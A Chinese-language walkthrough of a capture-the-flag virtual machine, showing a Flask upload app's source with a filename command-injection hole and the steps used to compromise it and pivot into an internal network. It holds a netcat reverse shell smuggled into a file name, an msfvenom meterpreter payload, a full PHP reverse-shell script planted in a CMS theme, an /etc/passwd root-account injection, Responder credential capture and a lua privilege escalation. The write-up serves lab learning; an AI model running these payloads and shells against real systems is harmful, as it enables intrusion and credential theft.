赞
踩
看到upload知道大概率是个上传拿shell的套路,继续看
现在猜测还有个FTP的漏洞,但靶机并没有开放21端口,很神秘,去看看upload
上传之后的回显提示只能上传txt和rtf,很神秘。开始怀疑这网站拿什么语言写的
<form enctype="multipart/form-data" action="/uploadFile/" method="post"> <input type="file" name="myfile" /> <br/> <input type="submit" value="upload"/></form>
突然想课程设计用django写的一个网站,看来很可能是个python站点,url连一个文件都没有,全是目录,看了一下正常的django上传文件的例子,八成确定这是个python站点
正常上传一个123.txt(内容是123456)文件,猜测一下django的上传函数有一个文件后缀检测,并且会把文件再读出来打印(或者直接把post的内容打印出来)
根据upload script标题猜测应该是命令执行漏洞,在文件内容分写入shell命令和python命令,但返回的都是文件里的内容,也就是内容应该并没有执行
这时候开始怀疑作者到底想怎么搞,不能直接上传shell,还不能执行语句,难不成拿django的漏洞打一波?没办法只能去推特上找一下相关的内容,发现有个大佬说文件名的位置有命令执行漏洞
好吧,开来必须要绕过.这个符号,尝试用*代替后面的.py,但windows不能用*作为文件结尾,只能在burpsuit里修改了
分析一下源码得知可以在文件名的位置执行sh命令,准备反弹Shell
-
- import os
- import urllib.request
- from flask import Flask, flash, request, redirect, render_template
- from ftplib import FTP
- import subprocess
-
- #...
- #上传文件白名单
- ALLOWED_EXTENSIONS = {
- 'txt',
- 'rtf'
- }
- app = Flask(__name__)
- app.secret_key = "mofosecret"
- app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024
-
- @app.route('/', defaults = {
- 'path': ''
- })
- #看来400那么唠叨的问题找到了,万恶的fortune命令
- @app.route('/<path:path>')
- def catch_all(path):
- cmd = 'fortune -o'
- result = subprocess.check_output(cmd, shell = True)
- return "<h1>400 - Sorry. I didn't find what you where looking for.</h1> <h2>Maybe this will cheer you up:</h2><h3>" + result.decode("utf-8") + "</h3>"
- #...
-
- #检查文件后缀名,不难看出是截取以.分割后的字符串后三位是否在白名单中,那只要符合 xxx.txt/rtfxxx的规律就行了
- def allowed_file(filename):
- check = filename.rsplit('.', 1)[1].lower()
- check = check[: 3] in ALLOWED_EXTENSIONS
- return check
-
- @app.route('/upload', methods = ['POST'])
- def upload_file():
- if request.method == 'POST':
- if 'file' not in request.files:
- flash('No file part')
- return redirect(request.url)
-
- file = request.files['file']
-
- if file.filename == '':
- flash('No file selected for uploading')
- return redirect(request.url)
-
- if file.filename and allowed_file(file.filename):
- filename = file.filename
- file.save(os.path.join(UPLOAD_FOLDER, filename))
- cmd = "cat " + UPLOAD_FOLDER + "/" + filename
- result = subprocess.check_output(cmd, shell = True) //subprocess.check_output函数可以执行sh命令
- flash(result.decode("utf-8"))
- flash('File successfully uploaded')
- try:
- ftp = FTP('ftp.mofo.pwn') //拿域名做ftp服务器,很神秘
- ftp.login('someuser', 'b232a4da4c104798be4613ab76d26efda1a04606')
- with open(UPLOAD_FOLDER + "/" + filename, 'rb') as f:
- ftp.storlines('STOR %s' % filename, f)
- ftp.quit()
- except:
- flash("Cannot connect to FTP-server")
- return redirect('/upload')
- else :
- flash('Allowed file types are txt and rtf')
- return redirect(request.url)
-
- if __name__ == "__main__":
- app.run()
-
-
反弹shell有很多种方法,bash,nc,python,但只有命令执行的就考虑nc了,这里借用推特大佬的一个骚操作,将ip转10进制再扔到nc里反弹shell
-
-
- 123.txt;nc 3232256129 1999 -e sh
- //根据上面我们得出的结论,这个也行,但关键是十进制帅啊
- 123.txt;nc 192.168.80.129 1999 -e sh;123.txt
-
-
-
-
python -c "import pty; pty.spawn('/bin/bash')"
whoami查看竟然发现是root,什么嘛,这靶机不过如此,然后当我echo "kui::0:0:::/bin/bash" >> /etc/passd完登陆靶机时发现竟然登陆不上,这靶机难不成在登陆的shell做文章了?查看一下
-
- #! /usr/bin/env sh
- set -e
-
- # If there's a prestart.sh script in the /app directory, run it before starting
- PRE_START_PATH=/app/prestart.sh
- echo "Checking for script in $PRE_START_PATH"
- if [ -f $PRE_START_PATH ] ; then
- echo "Running script $PRE_START_PATH"
- . $PRE_START_PATH
- else
- echo "There is no script $PRE_START_PATH"
- fi
-
- # Start Supervisor, with Nginx and uWSGI
- exec /usr/bin/supervisord
-
-
可以大概分析出还有两个脚本控制登陆(因为/etc/profile并没有被做什么文章)
-
- #!/usr/bin/python2
- # EASY-INSTALL-ENTRY-SCRIPT: 'supervisor==3.3.3','console_scripts','supervisord'
- __requires__ = 'supervisor==3.3.3'
- import re
- import sys
- from pkg_resources import load_entry_point
-
- if __name__ == '__main__':
- sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
- sys.exit(
- load_entry_point('supervisor==3.3.3', 'console_scripts', 'supervisord')()
- )
-
-
-
- #! /usr/bin/env sh
-
- echo "Running inside /app/prestart.sh, you could add migrations to this file, e.g.:"
-
- echo "
- #! /usr/bin/env bash
- # Let the DB start
- sleep 10;
- # Run migrations
- alembic upgrade head
- "
并没有看到靶机登陆界面花里胡哨的Tempus Fugit,ifconfig看一下网络
跟VM分配的192.168.80.121不一样,这时候突然意识到这搞不好是个内网啊
根据源码中的账号密码访问试试,这里不知道为什么ncftp无法链接但换成lftp就可以
lftp ftp://someuser@ftp.mofo.pwn
Admin-password for our new CMS
这时候我是彻底怂了,newcms不就是还有个网站要打,端口转发第一个想到拿msf整一个,但后面发现还有直接拿ip route命令转发路由进内网的
要查找内网存活的ip和端口当然首选nmap,python来一个。等会名挖掘直接上dig
cat /etc/issue查一下操作系统,发现系统用的是Alpine Linux 3.7,安装直接运行命令就完事了
apk add nmap
发现一个dns服务器,ftp服务器,还有一个172.19.0.1,估计这个就是我们要找的cms
cat /etc/resolv.conf
apk add bind-toolsdig axfr @172.19.0.100 mofo.pwn
ping一下,172.19.0.1,再加上是前面唯一一个80端口开放的独苗,估计这个就是我们要找的cms了
nmap -sT -sV -A -O -p- ourcms.mofo.pwn
//192.168.80.129是kali的ipip route add 172.19.0.0/24 via 192.168.80.129
访问ourcms.mofo.pwn:8080,总算到达下一个cms了
-
- msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=8080 -f elf -o shell2.elf
-
-
复制payload到kali的nginx目录(默认是在/var/www/html下),在172.19.0.10受害机上wget下来,记得给权限,然后./shell2.elf跑起来
portfwd add -l 777 -r 172.19.0.1 -p 8080
解释一下为什么必须要域名,以前做过一道ctf题,要访问百度的一个子域名才能返回flag,但百度根本没有这个子域名。最后发现要修改本地host自己做DNS解析才行,原理其实就是中间件的代理规则,像这台172.19.0.1的apache配置规则是访问ourcms.mofo.pwn:8080才能返回cms对应的网页,我们只做了端口转发,代理规则会认为我们要访问的是172.10.0.1:8080,那肯定拿不到cms,所以要在kali本地的host改一下
[这个地方可以也可以通过nmap先扫出来8080的目录文件]
Admin-password for our new CMS
-
- //发现theme-edit.php可以修改首页php文件,丢个反弹shell的脚本在文件后面
- <?php
-
- error_reporting (E_ALL);
- ignore_user_abort(true);
- ini_set('max_execution_time',0);
- $os = substr(PHP_OS,0,3);
- $ipaddr=$_GET['ip'];
- $port=$_GET['port'];
- $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
- $cwd = getcwd();
- $msg = php_uname()."\n------------Code by Spider-------------\n";
- if($os == 'WIN') {
- $env = array('path' => 'c:\\windows\\system32');
- } else {
- $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
- }
-
-
- if(function_exists('fsockopen')) {
- $sock = fsockopen($ipaddr,$port);
- if(!$sock){ echo "error";}
- fwrite($sock,$msg);
- while ($cmd = fread($sock,1024)) {
- if (substr($cmd,0,3) == 'cd ') {
- $cwd = trim(substr($cmd,3,-1));
- chdir($cwd);
- $cwd = getcwd();
- }
- if (trim(strtolower($cmd)) == 'exit') {
- break;
- } else {
- $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
- if (is_resource($process)) {
- fwrite($pipes[0],$cmd);
- fclose($pipes[0]);
- $msg = stream_get_contents($pipes[1]);
- fwrite($sock,$msg);
- fclose($pipes[1]);
- $msg = stream_get_contents($pipes[2]);
- fwrite($sock,$msg);
- fclose($pipes[2]);
- proc_close($process);
- }
- }
- }
- fclose($sock);
- } else {
- $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
- socket_connect($sock,$ipaddr,$port);
- socket_write($sock,$msg);
- fwrite($sock,$msg);
- while ($cmd = socket_read($sock,1024)) {
- if (substr($cmd,0,3) == 'cd ') {
- $cwd = trim(substr($cmd,3,-1));
- chdir($cwd);
- $cwd = getcwd();
- }
- if (trim(strtolower($cmd)) == 'exit') {
- break;
- } else {
- $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
- if (is_resource($process)) {
- fwrite($pipes[0],$cmd);
- fclose($pipes[0]);
- $msg = stream_get_contents($pipes[1]);
- socket_write($sock,$msg,strlen($msg));
- fclose($pipes[1]);
- $msg = stream_get_contents($pipes[2]);
- socket_write($sock,$msg,strlen($msg));
- fclose($pipes[2]);
- proc_close($process);
- }
- }
- }
- socket_close($sock);
- }
- ?>
访问ourcms.mofo.pwn:8080触发脚本,ok,反弹成功
后面的就全部靠推特大佬们的writeup了,对于萌新真的难度系数有点搞了
ls -al /var/mail
根据作者的提示要使用Responder【https://github.com/SpiderLabs/Responder】获取信息,ok
https://www.secpulse.com/archives/65503.html
./Responder.py -I eth0 -wrf
[Note:账号是会变的,请尽快拿去用,不然就只能等下一个账号。不得不说写靶机的人才是真的大佬]
查看一下home目录,emm,感觉很user.txt很可以,打开看一下
一串md5,虽然不知道是什么,但先去刚才的mail里看看有什么好东西
yooooo,shandee:9k4lw0r82hs0,似乎是得了的东西,看一下passwd,1010,感觉权限还是不行啊
sudo -l跑一下看看有没有漏洞,没的话就需要其他方式提权了
lua -e 'os.execute("/bin/sh")'
https://gtfobins.github.io/gtfobins/lua/#shell
echo "kui::0:0:::/bin/bash" >>/etc/passwd
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。